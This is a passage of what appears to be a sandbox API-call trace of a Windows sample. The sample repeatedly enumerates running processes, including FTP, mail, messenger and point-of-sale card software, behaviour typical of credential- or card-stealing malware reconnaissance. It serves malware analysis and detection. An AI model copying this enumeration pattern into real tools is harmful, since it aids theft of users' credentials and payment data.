szExeFile="pay.exe")) returned 1 [0270.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0270.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0270.909] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0270.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0270.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0270.962] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0270.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0270.965] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0270.966] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0270.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0270.968] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0270.970] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0270.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0270.973] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0270.974] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0270.975] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0270.976] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0270.978] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0270.979] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0270.980] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0270.982] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0270.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0270.984] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0270.985] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0270.987] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0270.988] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0270.990] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0270.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0270.993] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0270.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0270.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0270.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0271.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0271.001] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0271.051] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0271.053] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0271.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0271.056] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0271.058] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0271.060] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0271.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0271.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0271.064] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0271.066] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0271.068] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0271.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0271.071] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0271.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0271.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0271.075] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0271.077] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0271.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0271.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0271.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0271.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0271.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0271.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0271.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0271.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0271.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0271.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0271.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0271.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0271.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0271.147] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0271.149] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0271.150] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.152] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.155] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0271.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0271.157] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.159] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0271.160] CloseHandle (hObject=0x344) returned 1 [0271.160] Sleep (dwMilliseconds=0x64) [0271.210] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0271.220] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.222] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.224] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.225] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.227] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.235] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | 